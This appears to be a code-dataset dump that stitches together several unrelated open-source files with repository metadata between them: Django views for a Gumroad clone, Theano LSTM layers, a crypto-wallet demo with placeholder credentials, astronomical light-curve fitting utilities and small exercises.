min_available return min_available + 1
32.775401
81
0.565019
1,065
0.173764
0
0
0
0
0
0
3,146
0.513297
9fe8653449fbc6e6fa94b10d1d0a857bd0455ebf
2,341
py
Python
gumroad_clone/users/views.py
AlexanderTCHK/gumroad-clone
39654243e581b918569772e410196557f71f6591
[ "MIT" ]
1
2022-01-22T13:43:30.000Z
2022-01-22T13:43:30.000Z
gumroad_clone/users/views.py
AlexanderTCHK/gumroad-clone
39654243e581b918569772e410196557f71f6591
[ "MIT" ]
null
null
null
gumroad_clone/users/views.py
AlexanderTCHK/gumroad-clone
39654243e581b918569772e410196557f71f6591
[ "MIT" ]
null
null
null
import stripe from django.conf import settings from django.contrib.auth import get_user_model from django.contrib.auth.mixins import LoginRequiredMixin from django.contrib.messages.views import SuccessMessageMixin from django.urls import reverse from django.utils.translation import gettext_lazy as _ from django.views.generic import DetailView, RedirectView, UpdateView, TemplateView from stripe.api_resources import account_link User = get_user_model() stripe.api_key = settings.STRIPE_SECRET_KEY class UserProfileView(LoginRequiredMixin, TemplateView): template_name = 'profile.html' def get_context_data(self, **kwargs): account = stripe.Account.retrieve(self.request.user.stripe_account_id) details_submitted = account["details_submitted"] contex = super().get_context_data(**kwargs) contex.update({ 'details_submitted': details_submitted }) return contex class UserDetailView(LoginRequiredMixin, DetailView): model = User slug_field = "username" slug_url_kwarg = "username" user_detail_view = UserDetailView.as_view() class UserUpdateView(LoginRequiredMixin, SuccessMessageMixin, UpdateView): model = User fields = ["name"] success_message = _("Information successfully updated") def get_success_url(self): assert ( self.request.user.is_authenticated ) # for mypy to know that the user is authenticated return self.request.user.get_absolute_url() def get_object(self): return self.request.user user_update_view = UserUpdateView.as_view() class UserRedirectView(LoginRequiredMixin, RedirectView): permanent = False def get_redirect_url(self): return reverse("discover") user_redirect_view = UserRedirectView.as_view() class StripeAccountLink(LoginRequiredMixin, RedirectView): permanent = False def get_redirect_url(self): # Domain for success and cancel urls domain = "http://" + settings.ALLOWED_HOSTS[0] account_link = stripe.AccountLink.create( account = self.request.user.stripe_account_id, refresh_url = domain + reverse("stripe-account-link"), return_url = domain + reverse("profile"), type = "account_onboarding", ) return account_link["url"]
29.2625
83
0.720632
1,683
0.718924
0
0
0
0
0
0
271
0.115762
9fe92dc5882b9ab766bfa49539001ca33aa51f84
510
py
Python
chapter1/quest1_4.py
mag6367/Coding_the_Coding_Interview_Python_Solutions
1d97d18d3d9732c25626e20cb3561ce4241b16e8
[ "MIT" ]
1
2017-04-28T13:52:13.000Z
2017-04-28T13:52:13.000Z
chapter1/quest1_4.py
mag6367/Cracking_the_Coding_Interview_Python_Solutions
1d97d18d3d9732c25626e20cb3561ce4241b16e8
[ "MIT" ]
null
null
null
chapter1/quest1_4.py
mag6367/Cracking_the_Coding_Interview_Python_Solutions
1d97d18d3d9732c25626e20cb3561ce4241b16e8
[ "MIT" ]
null
null
null
# question 1.4 from cracking the code interview 4th ed. ''' Write a method to decide if two strings are anagrams or not. ''' # if we sort the two string, they should be the same def areAnagram (str1, str2): # check is strings are valid if not isinstance(str1, str) or not isinstance(str2, str): return False # first we convert the two strings into lists and sort them newStr1 = sorted(str1) newStr2 = sorted(str2) # if they are anagrams, the lists should be identical return newStr1 == newStr2
24.285714
60
0.727451
0
0
0
0
0
0
0
0
315
0.617647
9febad62a52cd187ba14dbd7516dbb4c9c77a4fc
2,516
py
Python
firmware/measure_magnitude.py
mfkiwl/OpenXcvr
9bea6efd03cd246f16982f0fadafed684ac5ce1c
[ "MIT" ]
14
2020-02-16T15:36:31.000Z
2022-03-27T02:24:40.000Z
firmware/measure_magnitude.py
mfkiwl/OpenXcvr
9bea6efd03cd246f16982f0fadafed684ac5ce1c
[ "MIT" ]
1
2020-11-23T16:16:33.000Z
2020-11-23T16:16:33.000Z
firmware/measure_magnitude.py
mfkiwl/OpenXcvr
9bea6efd03cd246f16982f0fadafed684ac5ce1c
[ "MIT" ]
4
2021-03-29T16:55:03.000Z
2022-01-23T16:43:59.000Z
from baremetal import * from baremetal.signed import number_of_bits_needed from settings import Settings from math import log, pi from matplotlib import pyplot as plt import numpy as np import sys from math import log, ceil from numpy import log10 #settings for 100KS/s # hang attack decay # fast 10000(100ms) 4(1ms) 10(62.5ms) # med 25000(250ms) 4(1ms) 12(250ms) # slow 100000(1s) 4(1ms) 13(500ms) # long 200000(2s) 4(1ms) 15(2s) def measure_magnitude(clk, audio, audio_stb, agc_speed, reset=0): attack_factor = 4 max_factor = 15 decay_factor = Signed(5).select(agc_speed, 9, 11, 12, 13) hang = Unsigned(19).select(agc_speed, 5000, 12500, 50000, 100000) #use a leaky max hold audio_bits = audio.subtype.bits #add extra bits for decay calculation audio = audio.resize(audio_bits+max_factor) << max_factor max_hold = audio.subtype.register(clk, init=0, en=audio_stb) counter = Unsigned(19).register(clk, en=audio_stb, init=0) #if signal is greater than magnitude attack = (audio > max_hold) attack_new_val = max_hold + ((audio - max_hold) >> attack_factor) decay_new_val = max_hold - (max_hold >> decay_factor) hold_expired = counter == 0 counter.d(counter.subtype.select(attack, counter.subtype.select(hold_expired, counter - 1, 0), hang-1)) max_hold_new_val = audio.subtype.select(attack, max_hold.subtype.select(hold_expired, max_hold, decay_new_val), attack_new_val) max_hold.d(audio.subtype.select(reset, max_hold_new_val, 0)) #remove extra bits (except one to allow for addition) max_hold = (max_hold >> max_factor).resize(audio_bits) return max_hold if __name__ == "__main__" and "sim" in sys.argv: settings = Settings() settings.agc_frame_size = 100 settings.agc_frames = 4 clk = Clock("clk") data_in = Signed(16).input("data_in") stb_in = Boolean().input("stb_in") magnitude = measure_magnitude(clk, data_in, stb_in, 0, 0) stimulus = [] for i in range(1000): stimulus.append(100) for i in range(20000): stimulus.append(0) response = [] #simulate clk.initialise() i = 0 for data in stimulus: data_in.set(data) for i in range(2): stb_in.set(i==1) if i==1: response.append(magnitude.get()) clk.tick() i+=1 response = np.array(response) plt.plot(response) plt.plot(stimulus) plt.show()
30.313253
131
0.65779
0
0
0
0
0
0
0
0
423
0.168124
9fec2b87298b7ce1d8fa49d924c18e361c3fbd3b
737
py
Python
chpt6/Palindrome.py
GDG-Buea/learn-python
9dfe8caa4b57489cf4249bf7e64856062a0b93c2
[ "Apache-2.0" ]
null
null
null
chpt6/Palindrome.py
GDG-Buea/learn-python
9dfe8caa4b57489cf4249bf7e64856062a0b93c2
[ "Apache-2.0" ]
2
2018-05-21T09:39:00.000Z
2018-05-27T15:59:15.000Z
chpt6/Palindrome.py
GDG-Buea/learn-python
9dfe8caa4b57489cf4249bf7e64856062a0b93c2
[ "Apache-2.0" ]
2
2018-05-19T14:59:56.000Z
2018-05-19T15:25:48.000Z
# This program prompts a user to enter an integer and reports whether the integer is a palindrome or not # A number is a palindrome if its reversal is the same as itself. def reverse(number): position1 = number % 10 remainder1 = number // 10 position2 = remainder1 % 10 remainder2 = remainder1 // 10 position3 = remainder2 return int(str(position1) + str(position2) + str(position3)) def is_palindrome(number): value = number if value == reverse(number): return 'This is a palindrome' else: return 'This is not a palindrome' def main(): number_test = eval(input("Enter a four digit number to test if it's a palindrome: ")) print(is_palindrome(number_test)) main()
23.03125
104
0.679783
0
0
0
0
0
0
0
0
276
0.374491
9fec53592de30b9286e20a972b9d6a2e491fec66
89
py
Python
refugee/apps.py
poiedk/refugge_app
95299005a3fac1ae92cf700d8d52e884c1d17033
[ "MIT" ]
1
2020-06-07T15:48:34.000Z
2020-06-07T15:48:34.000Z
refugee/apps.py
poiedk/refuggeapp
95299005a3fac1ae92cf700d8d52e884c1d17033
[ "MIT" ]
1
2020-06-05T20:15:54.000Z
2020-06-05T20:15:54.000Z
refugee/apps.py
poiedk/refuggeapp
95299005a3fac1ae92cf700d8d52e884c1d17033
[ "MIT" ]
null
null
null
from django.apps import AppConfig class RefugeeConfig(AppConfig): name = 'refugee'
14.833333
33
0.752809
52
0.58427
0
0
0
0
0
0
9
0.101124
9fedd39a8f50939e9c4f94bb47bef7f75ae894a9
8,113
py
Python
mozi/layers/recurrent.py
hycis/Mozi
7f2eccbe3169c10d231e07edf8bc650039fa4eb2
[ "MIT" ]
122
2015-07-24T09:29:06.000Z
2022-02-22T02:51:00.000Z
mozi/layers/recurrent.py
hycis/Mozi
7f2eccbe3169c10d231e07edf8bc650039fa4eb2
[ "MIT" ]
4
2015-07-27T04:37:11.000Z
2020-04-04T08:05:00.000Z
mozi/layers/recurrent.py
hycis/Mozi
7f2eccbe3169c10d231e07edf8bc650039fa4eb2
[ "MIT" ]
27
2015-07-24T12:59:35.000Z
2020-04-14T00:21:43.000Z
from mozi.utils.theano_utils import shared_zeros, alloc_zeros_matrix, shared_ones from mozi.layers.template import Template from mozi.weight_init import OrthogonalWeight, GaussianWeight, Identity import theano.tensor as T import theano class LSTM(Template): def __init__(self, input_dim, output_dim, truncate_gradient=-1, return_sequences=True, weight_init=OrthogonalWeight(), inner_init=GaussianWeight(mean=0, std=0.1)): self.input_dim = input_dim self.output_dim = output_dim self.truncate_gradient = truncate_gradient self.return_sequences = return_sequences self.W_i = weight_init((self.input_dim, self.output_dim)) self.U_i = inner_init((self.output_dim, self.output_dim)) self.b_i = shared_zeros((self.output_dim), name='b_i') self.W_f = weight_init((self.input_dim, self.output_dim)) self.U_f = inner_init((self.output_dim, self.output_dim)) self.b_f = shared_ones((self.output_dim), name='b_f') self.W_c = weight_init((self.input_dim, self.output_dim)) self.U_c = inner_init((self.output_dim, self.output_dim)) self.b_c = shared_zeros((self.output_dim), name='b_c') self.W_o = weight_init((self.input_dim, self.output_dim)) self.U_o = inner_init((self.output_dim, self.output_dim)) self.b_o = shared_zeros((self.output_dim), name='b_o') self.params = [ self.W_i, self.U_i, self.b_i, self.W_c, self.U_c, self.b_c, self.W_f, self.U_f, self.b_f, self.W_o, self.U_o, self.b_o, ] def _step(self, xi_t, xf_t, xo_t, xc_t, h_tm1, c_tm1, u_i, u_f, u_o, u_c): i_t = T.nnet.sigmoid(xi_t + T.dot(h_tm1, u_i)) f_t = T.nnet.sigmoid(xf_t + T.dot(h_tm1, u_f)) o_t = T.nnet.sigmoid(xo_t + T.dot(h_tm1, u_o)) g_t = T.tanh(xc_t + T.dot(h_tm1, u_c)) c_t = f_t * c_tm1 + i_t * g_t h_t = o_t * T.tanh(c_t) return h_t, c_t def _train_fprop(self, state_below): X = state_below.dimshuffle((1, 0, 2)) xi = T.dot(X, self.W_i) + self.b_i xf = T.dot(X, self.W_f) + self.b_f xc = T.dot(X, self.W_c) + self.b_c xo = T.dot(X, self.W_o) + self.b_o [outputs, memories], updates = theano.scan( self._step, sequences=[xi, xf, xo, xc], outputs_info=[ T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1), T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1) ], non_sequences=[self.U_i, self.U_f, self.U_o, self.U_c], truncate_gradient=self.truncate_gradient) if self.return_sequences: return outputs.dimshuffle((1, 0, 2)) return outputs[-1] class BiLSTM(Template): ''' Bidirection LSTM ''' def __init__(self, input_dim, output_dim, weight_init=OrthogonalWeight(), inner_init=GaussianWeight(mean=0, std=0.1), truncate_gradient=-1, output_mode='concat', return_sequences=False, return_idx=-1): self.input_dim = input_dim self.output_dim = output_dim self.truncate_gradient = truncate_gradient self.output_mode = output_mode # output_mode is either sum or concatenate self.return_sequences = return_sequences self.return_idx = return_idx # forward weights self.W_i = weight_init((self.input_dim, self.output_dim)) self.U_i = inner_init((self.output_dim, self.output_dim)) self.b_i = shared_zeros((self.output_dim), name='b_i') self.W_f = weight_init((self.input_dim, self.output_dim)) self.U_f = inner_init((self.output_dim, self.output_dim)) self.b_f = shared_ones((self.output_dim), name='b_f') self.W_c = weight_init((self.input_dim, self.output_dim)) self.U_c = inner_init((self.output_dim, self.output_dim)) self.b_c = shared_zeros((self.output_dim), name='b_c') self.W_o = weight_init((self.input_dim, self.output_dim)) self.U_o = inner_init((self.output_dim, self.output_dim)) self.b_o = shared_zeros((self.output_dim), name='b_o') # backward weights self.Wb_i = weight_init((self.input_dim, self.output_dim)) self.Ub_i = inner_init((self.output_dim, self.output_dim)) self.bb_i = shared_zeros((self.output_dim), name='bb_i') self.Wb_f = weight_init((self.input_dim, self.output_dim)) self.Ub_f = inner_init((self.output_dim, self.output_dim)) self.bb_f = shared_ones((self.output_dim), name='bb_f') self.Wb_c = weight_init((self.input_dim, self.output_dim)) self.Ub_c = inner_init((self.output_dim, self.output_dim)) self.bb_c = shared_zeros((self.output_dim), name='bb_c') self.Wb_o = weight_init((self.input_dim, self.output_dim)) self.Ub_o = inner_init((self.output_dim, self.output_dim)) self.bb_o = shared_zeros((self.output_dim), name='bb_o') self.params = [ self.W_i, self.U_i, self.b_i, self.W_c, self.U_c, self.b_c, self.W_f, self.U_f, self.b_f, self.W_o, self.U_o, self.b_o, self.Wb_i, self.Ub_i, self.bb_i, self.Wb_c, self.Ub_c, self.bb_c, self.Wb_f, self.Ub_f, self.bb_f, self.Wb_o, self.Ub_o, self.bb_o, ] def _forward_step(self, xi_t, xf_t, xo_t, xc_t, h_tm1, c_tm1, u_i, u_f, u_o, u_c): i_t = T.nnet.sigmoid(xi_t + T.dot(h_tm1, u_i)) f_t = T.nnet.sigmoid(xf_t + T.dot(h_tm1, u_f)) o_t = T.nnet.sigmoid(xo_t + T.dot(h_tm1, u_o)) g_t = T.tanh(xc_t + T.dot(h_tm1, u_c)) c_t = f_t * c_tm1 + i_t * g_t h_t = o_t * T.tanh(c_t) return h_t, c_t def get_forward_output(self, state_below): X = state_below.dimshuffle((1,0,2)) xi = T.dot(X, self.W_i) + self.b_i xf = T.dot(X, self.W_f) + self.b_f xc = T.dot(X, self.W_c) + self.b_c xo = T.dot(X, self.W_o) + self.b_o [outputs, memories], updates = theano.scan( self._forward_step, sequences=[xi, xf, xo, xc], outputs_info=[ T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1), T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1) ], non_sequences=[self.U_i, self.U_f, self.U_o, self.U_c], truncate_gradient=self.truncate_gradient ) return outputs.dimshuffle((1,0,2)) def get_backward_output(self, state_below): X = state_below.dimshuffle((1,0,2)) xi = T.dot(X, self.Wb_i) + self.bb_i xf = T.dot(X, self.Wb_f) + self.bb_f xc = T.dot(X, self.Wb_c) + self.bb_c xo = T.dot(X, self.Wb_o) + self.bb_o [outputs, memories], updates = theano.scan( self._forward_step, sequences=[xi, xf, xo, xc], outputs_info=[ T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1), T.unbroadcast(alloc_zeros_matrix(X.shape[1], self.output_dim), 1) ], non_sequences=[self.Ub_i, self.Ub_f, self.Ub_o, self.Ub_c], go_backwards = True, truncate_gradient=self.truncate_gradient ) return outputs.dimshuffle((1,0,2)) def _train_fprop(self, state_below): forward = self.get_forward_output(state_below) backward = self.get_backward_output(state_below) if self.output_mode == 'sum': output = forward + backward elif self.output_mode == 'concat': output = T.concatenate([forward, backward], axis=2) else: raise Exception('output mode is not sum or concat') if self.return_sequences==False: return output[:,self.return_idx,:] elif self.return_sequences==True: return output else: raise Exception('Unexpected output shape for return_sequences')
38.450237
92
0.609762
7,870
0.970048
0
0
0
0
0
0
274
0.033773
9ff112f147fc3eea03cddc2ce893a7da503429c2
1,045
py
Python
emilia/modules/sql/admin_sql.py
masterisira/ELIZA_OF-master
02a7dbf48e4a3d4ee0981e6a074529ab1497aafe
[ "Unlicense" ]
null
null
null
emilia/modules/sql/admin_sql.py
masterisira/ELIZA_OF-master
02a7dbf48e4a3d4ee0981e6a074529ab1497aafe
[ "Unlicense" ]
null
null
null
emilia/modules/sql/admin_sql.py
masterisira/ELIZA_OF-master
02a7dbf48e4a3d4ee0981e6a074529ab1497aafe
[ "Unlicense" ]
null
null
null
import threading from typing import Union from sqlalchemy import Column, Integer, String, Boolean from emilia.modules.sql import SESSION, BASE class PermanentPin(BASE): __tablename__ = "permanent_pin" chat_id = Column(String(14), primary_key=True) message_id = Column(Integer) def __init__(self, chat_id): self.chat_id = str(chat_id) def __repr__(self): return "<Permanent pin for ({})>".format(self.chat_id) PermanentPin.__table__.create(checkfirst=True) PERMPIN_LOCK = threading.RLock() def set_permapin(chat_id, message_id): with PERMPIN_LOCK: permpin = SESSION.query(PermanentPin).get(str(chat_id)) if not permpin: permpin = PermanentPin(chat_id) permpin.message_id = int(message_id) SESSION.add(permpin) SESSION.commit() def get_permapin(chat_id): try: permapin = SESSION.query(PermanentPin).get(str(chat_id)) if permapin: return permapin.message_id return 0 finally: SESSION.close()
24.302326
64
0.677512
303
0.289952
0
0
0
0
0
0
41
0.039234
9ff556e97733100f33310335bf44e3b09364ba15
3,985
py
Python
demo.py
danuker/piggies
215495689122fc14f9deb40587aaf2f34f526120
[ "MIT" ]
5
2018-06-05T14:28:32.000Z
2020-10-28T14:30:03.000Z
demo.py
danuker/piggies
215495689122fc14f9deb40587aaf2f34f526120
[ "MIT" ]
5
2018-06-04T09:08:48.000Z
2018-06-29T17:46:58.000Z
demo.py
danuker/piggies
215495689122fc14f9deb40587aaf2f34f526120
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Before you can use Piggies, you need actual wallets. # To fetch and extract the wallet clients, and create wallet files: # mkdir wallets && cd wallets # # wget https://download.electrum.org/3.1.3/Electrum-3.1.3.tar.gz # tar xvzf Electrum-3.1.3.tar.gz # cd Electrum-3.1.3/ # mkdir -p ../../datastores/BTC/wallets/ # ./electrum create -w ../../datastores/BTC/wallets/your_BTC_wallet_name_here.dat # cd .. # # wget https://dlsrc.getmonero.org/cli/monero-linux-x64-v0.12.2.0.tar.bz2 # tar xvjf monero-linux-x64-v0.12.2.0.tar.bz2 # cd monero-v0.12.2.0/ # mkdir -p ../../datastores/XMR/wallets/ # ./monero-wallet-cli --generate-new-wallet=../../datastores/XMR/wallets/your_XMR_wallet_name_here.dat # cd ../.. # # # The next command will sync the Monero blockchain. # # It took about 48h (+/- 24h) on an SSD, on 2018-06-06. # # An HDD (not SSD) would take about 4.7 times longer!!! # # Also, make sure you are using a wired network connection, not Wi-Fi (which is slower)! # # # Required disk space: Multiply the last reported size here by 1.3: # # https://moneroblocks.info/stats/blockchain-growth # # Right now, that results in 52932.49 MB (51.69 GB) # wallets/monero-v0.12.2.0/monerod --data-dir datastores/XMR --rpc-bind-port=37779 # cd .. # wget https://releases.parity.io/v1.11.4/x86_64-unknown-debian-gnu/parity_1.11.4_debian_amd64.deb # sudo dpkg -i parity_1.11.4_debian_amd64.deb # parity account new -d datastores/ETH/ # # # The Parity wallet also takes a while to sync (around 12h or so, as of 2018-06-28). # # Using the CLI options in PiggyETH, the blockchain without ancient blocks only takes up ~24GB. # # Check # ./demo import logging from decimal import Decimal from piggies import MasterPiggy logger = logging.getLogger('piggy_logs') # Requested piggy settings piggy_settings = { 'BTC': { 'wallet_bin_path': 'wallets/Electrum-3.1.3/electrum', 'datastore_path': 'datastores/BTC', 'wallet_filename': 'your_BTC_wallet_name_here.dat', 'wallet_password': 'your_BTC_password_here', 'rpcuser':'your_BTC_RPC_username', 'rpcpassword': 'your_BTC_RPC_password', 'rpcport': 37778 }, 'XMR': { 'daemon_bin_path': 'wallets/monero-v0.12.2.0/monerod', 'wallet_bin_path': 'wallets/monero-v0.12.2.0/monero-wallet-rpc', 'datastore_path': 'datastores/XMR', 'wallet_filename': 'your_XMR_wallet_name_here.dat', 'wallet_password': 'your_XMR_password_here', 'daemon_port': 37779, # For the default Monero client, the wallet has a separate server daemon 'rpcport': 37780 }, 'ETH': { 'wallet_bin_path': '/usr/bin/parity', 'datastore_path': 'datastores/ETH', 'wallet_password': 'your_ETH_wallet_password_here' } } def main(): mp = MasterPiggy(piggy_settings) mp.start_servers() logger.warning('#######################') logger.warning('Calling RPC methods now') logger.warning('#######################') logger.warning('Balance: {}'.format(mp.get_balances())) logger.warning('BTC Receive address: {}'.format(mp.get_receive_address('BTC'))) logger.warning("BTC transactions_since: \n{}".format(mp.transactions_since('BTC'))) logger.warning("BTC suggest_miner_fee: \n{}".format(mp.suggest_miner_fee('BTC'))) logger.warning('XMR Receive address: {}'.format(mp.get_receive_address('XMR'))) logger.warning("XMR transactions_since: \n{}".format(mp.transactions_since('XMR'))) logger.warning("XMR suggest_miner_fee: \n{}".format(mp.suggest_miner_fee('XMR'))) logger.warning('ETH Receive address: {}'.format(mp.get_receive_address('ETH'))) logger.warning("ETH transactions_since: \n{}".format(mp.transactions_since('ETH'))) logger.warning("ETH suggest_miner_fee: \n{}".format(mp.suggest_miner_fee('ETH'))) mp.stop_servers() if __name__ == '__main__': logger.addHandler(logging.StreamHandler()) logger.setLevel(logging.INFO) main()
37.242991
103
0.684065
0
0
0
0
0
0
0
0
2,753
0.690841
9ff624252765d2c5657956ad0fdec3d525d53544
22,024
py
Python
lcfit_utils.py
idekany/lcfit
4a0080fca981afe2b8974db8f5d3484c663b6c13
[ "MIT" ]
null
null
null
lcfit_utils.py
idekany/lcfit
4a0080fca981afe2b8974db8f5d3484c663b6c13
[ "MIT" ]
null
null
null
lcfit_utils.py
idekany/lcfit
4a0080fca981afe2b8974db8f5d3484c663b6c13
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import sys import os import numpy as np import fourier as ff import matplotlib import warnings from matplotlib import pyplot as plt from os.path import isfile matplotlib.use('Agg') def warn(*args, **kwargs): print('WARNING: ', *args, file=sys.stderr, **kwargs) def fit_validate_model(model, x: np.array, y: np.array, train_index, val_index, weights: np.array = None): x_t, x_v = x[train_index], x[val_index] y_t, y_v = y[train_index], y[val_index] if weights is not None: weights_t, weights_v = weights[train_index], weights[val_index] else: weights_t = None weights_v = None # print("y_train:") # print(y_t) model.fit(x_t, y_t, weights=weights_t) yhat_v = model.predict(x_v) return y_v, yhat_v, weights_v def get_stratification_labels(data, n_folds): """ Create an array of stratification labels from an array of continuous values to be used in a stratified cross- validation splitter. :param data: list or numpy.ndarray The input data array. :param n_folds: int The number of cross-validation folds to be used with the output labels. :return: labels, numpy.ndarray The array of integer stratification labels. """ assert isinstance(data, np.ndarray or list), "data must be of type list or numpy.ndarray" if isinstance(data, list): data = np.array(data) ndata = len(data) isort = np.argsort(data) # Indices of sorted phases labels = np.empty(ndata) labels[isort] = np.arange(ndata) # Compute phase order labels = np.floor(labels / n_folds) # compute phase labels for StratifiedKFold if np.min(np.bincount(labels.astype(int))) < n_folds: # If too few elements are with last label, ... labels[labels == np.max(labels)] = np.max( labels) - 1 # ... the then change that label to the one preceding it return labels def write_results(pars, results: dict): # check if the file already exists: newfile = not isfile(os.path.join(pars.rootdir, pars.output_param_file)) with open(os.path.join(pars.rootdir, pars.output_param_file), 'a') as file: if newfile: # Write header: if pars.compute_errors: file.write('# id Nep period totamp A1 A2 A3 A1_e A2_e A3_e phi1 phi2 phi3 ' 'phi1_e phi2_e phi3_e phi21 phi21_e phi31 phi31_e ' 'meanmag meanmag_e cost aper phcov phcov2 snr ZPErr Npt order minmax') else: file.write('# id Nep period totamp A1 A2 A3 phi1 phi2 phi3 phi21 phi31 meanmag cost ' 'aper phcov phcov2 snr ZPErr Npt order minmax') if pars.feh_model_file is not None: file.write(' FeH') if pars.compute_errors: file.write(' FeH_e') if pars.pca_model_file is not None: file.write(' E1 E2 E3 E4 E5 E6') if pars.compute_errors: file.write(' E1_e E2_e E3_e E4_e E5_e E6_e') file.write('\n') # ------------------------ if pars.compute_errors: file.write( "%s %4d %.6f %.3f %.3f %.3f %.3f %.3f %.3f %.3f %.3f %.3f %.3f %.3f %.3f %.3f %.4f %.4f %.3f %.3f " "%.3f %.3f %.4f %d %.3f %.3f %.1f %.4f %4d %2d %.3f" % (results['objname'], results['nepoch'], results['period'], results['tamp'], results['A'][0], results['A'][1], results['A'][2], results['A_std'][0], results['A_std'][1], results['A_std'][2], results['Pha'][0], results['Pha'][1], results['Pha'][2], results['Pha_std'][0], results['Pha_std'][1], results['Pha_std'][2], results['phi21'], results['phi21_std'], results['phi31'], results['phi31_std'], results['icept'], results['icept_std'], results['cost'], results['dataset'] + 1, results['phcov'], results['phcov2'], results['snr'], results['totalzperr'], results['ndata'], results['forder'], results['minmax'])) else: file.write("%s %4d %.6f %.3f %.3f %.3f %.3f %.3f %.3f %.3f %.4f %.4f %.3f " "%.4f %d %.3f %.3f %.1f %.4f %4d %2d %.3f" % (results['objname'], results['nepoch'], results['period'], results['tamp'], results['A'][0], results['A'][1], results['A'][2], results['Pha'][0], results['Pha'][1], results['Pha'][2], results['phi21'], results['phi31'], results['icept'], results['cost'], results['dataset'] + 1, results['phcov'], results['phcov2'], results['snr'], results['totalzperr'], results['ndata'], results['forder'], results['minmax'])) if pars.feh_model_file is not None: file.write(" %.3f" % results['feh']) if pars.compute_errors: file.write(" %.3f" % results['feh_std']) if pars.pca_model_file is not None: file.write(" %.6f %.6f %.6f %.6f %.6f %.6f" % (results['pca_feat'][0], results['pca_feat'][1], results['pca_feat'][2], results['pca_feat'][3], results['pca_feat'][4], results['pca_feat'][5])) if pars.compute_errors: file.write(" %.6f %.6f %.6f %.6f %.6f %.6f" % (results['pca_feat_std'][0], results['pca_feat_std'][1], results['pca_feat_std'][2], results['pca_feat_std'][3], results['pca_feat_std'][4], results['pca_feat_std'][5])) file.write("\n") def write_merged_datafile(pars, results: dict): # check if the file already exists: newfile = not isfile(os.path.join(pars.rootdir, pars.merged_output_datafile)) with open(os.path.join(pars.rootdir, pars.merged_output_datafile), 'a') as file: if newfile: file.write('# id time mag mag_err ZP_err\n') outarr = np.rec.fromarrays((np.tile(results['objname'], results['ndata']), results['otime'] + results['otime0'], results['mag'], results['magerr'], results['zperr'])) np.savetxt(file, outarr, fmt='%s %.6f %.3f %.3f %.3f') def write_single_datafile(pars, results: dict, phase_ext_neg=0, phase_ext_pos=1.2): ophase_sorted, mag_sorted = extend_phases(results['ph'], results['mag'], phase_ext_neg=phase_ext_neg, phase_ext_pos=phase_ext_pos, sort=True) outarr = np.rec.fromarrays((ophase_sorted, mag_sorted), names=('phase', 'kmag')) with open(os.path.join(pars.rootdir, pars.output_data_dir, results['objname'] + '.dat'), 'w') as file: np.savetxt(file, outarr, fmt='%f %f') if pars.fold_double_period: ophase_sorted2, mag_sorted2 = extend_phases(results['ph_2p'], results['mag'], phase_ext_neg=phase_ext_neg, phase_ext_pos=phase_ext_pos, sort=True) outarr = np.rec.fromarrays((ophase_sorted2, mag_sorted2), names=('phase', 'kmag')) with open(os.path.join(pars.rootdir, pars.output_data_dir, results['objname'] + '_2p.dat'), 'w') as file: np.savetxt(file, outarr, fmt='%f %f') def write_synthetic_data(pars, results: dict): if pars.gpr_fit: outarr = np.rec.fromarrays((results['phase_grid'], results['synmag_gpr'] - results['icept'])) np.savetxt(os.path.join(pars.rootdir, pars.output_syn_dir, results['objname'] + "_gpr" + pars.syn_suffix + '.dat'), outarr, fmt='%.4f %.4f') if pars.n_augment_data is not None: outarr = np.hstack((results['phase_grid'].reshape(-1, 1), (results['synmag_gpr']).reshape(-1, 1), results['synmag_gpa'])) np.savetxt(os.path.join(pars.rootdir, pars.output_syn_dir, results['objname'] + "_gpr_aug" + pars.syn_suffix + '.dat'), outarr, fmt='%7.4f ' * (pars.n_augment_data + 2)) else: outarr = np.rec.fromarrays((results['phase_grid'], results['syn'] - results['icept'])) np.savetxt(os.path.join(pars.rootdir, pars.output_syn_dir, results['objname'] + "_dff" + pars.syn_suffix + '.dat'), outarr, fmt='%.4f %.4f') def make_figures(pars, results: dict, constrain_yaxis_range=True, minphase=0, maxphase=1.2, aspect_ratio=0.6, figformat: str = 'png'): # Create phase diagram: outfile = os.path.join(pars.rootdir, pars.plot_dir, results['objname'] + pars.plot_suffix + "." + figformat) plottitle = results['objname'] # plottitle = None # figtext = '$P = {0:.6f}$ , $N_F = {1}$ , ap = {2}'.format(results['period'],results['forder'],bestap+1) # figtext = '$P = {0:.6f}$'.format(results['period']) figtext = '$P = {0:.6f}$ , $S/N = {1:d}$'.format(results['period'], int(results['snr'])) data1 = np.vstack((results['ph_o'], results['mag_o'], results['magerr_o'])).T data2 = np.vstack((results['ph'], results['mag'], results['magerr'])).T if pars.fourier_from_gpr: data3 = np.vstack((results['phase_grid'], results['synmag_gpr'])).T else: data3 = np.vstack((results['phase_grid'], results['syn'])).T # labels = ("orig.", "clipped", "binned", "DFF") if pars.gpr_fit and pars.plot_gpr: data4 = np.vstack((results['phase_grid'], results['synmag_gpr'], results['sigma_gpr'])).T plot_input = (data1, data2, data3, data4) fillerr_index = (3,) symbols = ('r.', 'b.', 'r-', 'b-') else: plot_input = (data1, data2, data3) fillerr_index = () symbols = ('r.', 'k.' 'r-') plotlc(plot_input, symbols=symbols, fillerr_index=fillerr_index, figsave=pars.save_figures, outfile=outfile, xlabel='phase', ylabel='$' + pars.waveband + '$ [mag.]', figtext=figtext, title=plottitle, constrain_yaxis_range=constrain_yaxis_range, minphase=minphase, maxphase=maxphase, aspect_ratio=aspect_ratio, figformat=figformat) if pars.fold_double_period: # Create phase diagram with double period: outfile = os.path.join(pars.rootdir, pars.plot_dir, results['objname'] + pars.plot_suffix + "_2p." + figformat) figtext = '$2P = {0:.6f}$'.format(results['period'] * 2, results['forder'], results['dataset'] + 1) data1 = np.vstack( (results['ph_o_2p'], results['mag_o'], np.sqrt(results['magerr_o'] ** 2 + results['zperr_o'] ** 2))).T data2 = np.vstack( (results['ph_2p'], results['mag'], np.sqrt(results['magerr'] ** 2 + results['zperr'] ** 2))).T labels = ("orig.", "clipped") plot_input = (data1, data2) symbols = ('ro', 'ko') plotlc(plot_input, symbols=symbols, fillerr_index=(), figsave=pars.save_figures, outfile=outfile, xlabel='phase', ylabel='$' + pars.waveband + '$ [mag.]', figtext=figtext, title=results['objname'], 